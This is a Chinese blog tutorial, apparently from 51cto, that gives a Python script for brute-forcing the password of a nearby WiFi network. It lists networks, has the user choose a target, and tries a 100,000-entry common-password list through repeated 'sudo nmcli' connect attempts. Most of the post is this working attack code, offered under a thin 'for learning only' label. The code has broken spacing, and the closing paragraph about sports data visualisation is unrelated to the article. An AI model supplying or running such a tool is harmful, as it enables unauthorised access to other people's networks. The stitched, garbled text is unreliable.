首页 > 其他分享 >解锁WiFi密码,我只用了60行代码

解锁WiFi密码,我只用了60行代码

时间:2023-09-01 12:07:24浏览次数:34  
标签:args 解锁 WiFi bcolors 60 print password networks


WiFi现在已经遍布我们生活方方面面,如今,如论到工作单位,还是租住的房子,或者一家餐厅,随处都可以连上WiFi。

因此,我们对WiFi密码的需求也没有之前那么迫切了。

如何WiFi密码?

本文,将会通过Python教大家如何实现,这里纯粹是为了学习用途。

  1. WiFi列表 首先,我们需要获取附近的WiFi列表。 下面,就来写一个函数来获取附近的WiFi列表,函数命名为display_targets: def display_targets(networks, security_type): print("Select a target: \n") rows, columns = os.popen('stty size', 'r').read().split() for i in range(len(networks)): width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2 spacer = " " if (int(columns) >= 100): calc = int((int(columns)-int(width))*0.75) else: calc = int(columns)-int(width) for index in range(calc): spacer += "." if index == (calc-1): spacer += " " print(str(i+1)+". "+networks[i]+spacer+security_type[i]) 这里,我们会用到ssid工具包,用来获取附近的WiFi列表,存入到参数networks。

解锁WiFi密码,我只用了60行代码_Python


  1. 选择WiFi 获取WiFi列表之后,下一步要做的就是选择我们想要连接的WiFi, def prompt_for_target_choice(max): whileTrue: try: selected = int(input("\nEnter number of target: ")) if(selected >= 1and selected <= max): return selected - 1 except Exception as e: ignore = e print("Invalid choice: Please pick a number between 1 and " + str(max)) 这里很简单,就是一些通用的Python功能。
  2. 暴力

目前已经获取并且选择了想要连接的WiFi,那么如何获取到它的密码呢?

这里要用到一种比较常见的方式:暴力。

这里,要用到Github上一个项目,它收集了最常用的10万个WiFi密码。我们就用着10万个密码暴力解锁WiFi即可。

def brute_force(selected_network, passwords, args):

for password in passwords:

# necessary due to NetworkManager restart after unsuccessful attempt at login

password = password.strip()

# when when obtain password from url we need the decode utf-8 however we doesnt when reading from file

if isinstance(password, str):

decoded_line = password

else:

decoded_line = password.decode("utf-8")

if args.verbose isTrue:

print(bcolors.HEADER+"** TESTING **: with password '" +

decoded_line+"'"+bcolors.ENDC)

if (len(decoded_line) >= 8):

time.sleep(3)

creds = os.popen("sudo nmcli dev wifi connect " +

selected_network+" password "+decoded_line).read()

# print(creds)

if ("Error:"in creds.strip()):

if args.verbose isTrue:

print(bcolors.FAIL+"** TESTING **: password '" +

decoded_line+"' failed."+bcolors.ENDC)

else:

sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +

decoded_line+"' succeeded."+bcolors.ENDC)

else:

if args.verbose isTrue:

print(bcolors.OKCYAN+"** TESTING **: password '" +

decoded_line+"' too short, passing."+bcolors.ENDC)

print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)

核心功能3个函数就完成了,只用了60行Python代码!

下面就把它们串联在一起:

def main():

require_root()

args = argument_parser()

# The user chose to supplied their own url

if args.url isnotNone:

passwords = fetch_password_from_url(args.url)

# user elect to read passwords form a file

elif args.file isnotNone:

file = open(args.file, "r")

passwords = file.readlines()

ifnot passwords:

print("Password file cannot be empty!")

exit(0)

file.close()

else:

# fallback to the default list as the user didnt supplied a password list

default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"

passwords = fetch_password_from_url(default_url)

# grabbing the list of the network ssids

func_call = start(1)

networks = func_call[0]

security_type = func_call[1]

ifnot networks:

print("No networks found!")

sys.exit(-1)

display_targets(networks, security_type)

max = len(networks)

pick = prompt_for_target_choice(max)

target = networks[pick]

print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")

brute_force(target, passwords, args)

执行函数,就会在命令行下显示附近的WiFi列表,选择之后就开始逐个尝试密码。

解锁WiFi密码,我只用了60行代码_开发语言_02


不同的颜色代表不同不同的结果:

  • 红色:测试失败
  • 绿色:成功
  • 紫色:测试中

现在,是不是发现这个看上去很复杂的事情变得简单许多?

结语

运动中充满了各种不同维度的数据,上述只是列举出一些我个人比较感兴趣的维度进行了分析与可视化。

希望,能够对你有所启示,能够发掘更有价值、有趣的信息,在学习和乐趣中得到最佳的实践。

标签:args,解锁,WiFi,bcolors,60,print,password,networks
From: https://blog.51cto.com/u_15344421/7320363

相关文章

  • 随身WiFi 一、随身WiFi刷Debian系统+准备工作
    下载Debian原版纯净系统包,不推荐超频版,不稳定,而且btrfs文件系统断电丢失数据概率大,容易出错设备毕竟是放家里的,万一停电,系统出错,那就得不偿失按自己的随身WiFi版号选择即可下载好后解压到没有中文的目录下即可【避免出现不知名问题,因为我遇到过,少走弯路,直接超车】下载安装安卓通......
  • 随身WiFi安装青龙面板通用依赖安装及部分报错解决方法
    使用方法:到青龙面板--依赖管理--新建依赖依赖类型选择对应名称一键复制下面的依赖,粘贴到名称可填写框框记得选自动拆分NodeJs依赖库crypto-jsprettytabledotenvjsdomdate-fnstough-cookietslibws@7.4.3ts-md5jsdom-gjiebafsform-datajson5global-agentpng-js@ty......
  • 剑指 Offer 60. n个骰子的点数(中等)
    题目:classSolution{public:vector<double>dicesProbability(intn){vector<double>dp(6,1.0/6.0);//dp[j]表示和为j时的概率,这里j=6是因为这是第一个骰子,骰子增多j也会改变for(inti=2;i<=n;i++){//从第二个骰子开始计算dp[j]的概率......
  • 华为Mate60系列直接开卖喜提热搜,这让内卷的手机市场怎么搞
    不开发布会,怎么把手机发布变成热搜,变成一机难求。嚯嚯,这下华为恐怕要变成小米oppovivo等等所有友商品牌公关的公敌了。 事情是这样的啊。就在今天中午啊,华为没有任何征兆,就在官网卖起了Mate60系列。 是啊,你没听错是华为Mate60系列,新品,没有开发布会的新产品,就直接开卖了,还......
  • IPQ4019 IPQ4029 IPQ6010|IIOT|5G and WiFi 6:Application in Business and Industry
    5GandWiFi6:Application inBusinessandIndustryIntroductionAstheworldhurtlestowardsaneraofunprecedenteddigitaltransformation,twotechnologiesstandattheforefront,poisedtoreshapethelandscapeofbusinessandindustry:5GandWiFi6.Th......
  • 网神SecGate 3600防火墙obj_app_upfile任意文件上传漏洞
    漏洞简介网神SecGate3600防火墙obj_app_upfile接口存在任意文件上传漏洞,攻击者通过构造特殊请求包即可获取服务器权限影响范围网神SecGate3600防火墙漏洞复现fofa语法:fid="1Lh1LHi6yfkhiO83I59AYg=="登录页面如下:POC:POST/?g=obj_app_upfileHTTP/1.1Host:jg.zhon......
  • 木马样本分析: 99b02a32a9d92c521de94a53dcd93078a357d0e2f26fdeb57735a53fee9b60fa,一
    csharp的类:usingSystem;usingSystem.ComponentModel;usingSystem.Drawing;usingSystem.Windows.Forms;//Token:0x02000009RID:9publicsealedclass\u0006:Form{ //Token:0x06000013RID:19RVA:0x00002464FileOffset:0x00000664 public\u0006......
  • 【230829-1】▲ABC中,A=60°,BC=根号10,D使AB边上一点,CD=根号2,S△BCD=1,则AC=?
    ......
  • 2834. 找出美丽数组的最小和-360
    找出美丽数组的最小和给你两个正整数:n和target。如果数组nums满足下述条件,则称其为美丽数组。nums.length==n.nums由两两互不相同的正整数组成。在范围[0,n-1]内,不存在两个不同下标i和j,使得nums[i]+nums[j]==target。返回符合条件的美丽数组所可......
  • 第 360 场周赛 (二进制枚举、树上倍增)
    2833. 距离原点最远的点 本题要求最远的距离,所有‘_’必须全为左或全为右。利用前缀和的思想看看L多还是R多,最后加上_的数目就是答案。classSolution{public:intfurthestDistanceFromOrigin(stringmoves){intn=moves.size();inttt=0,l......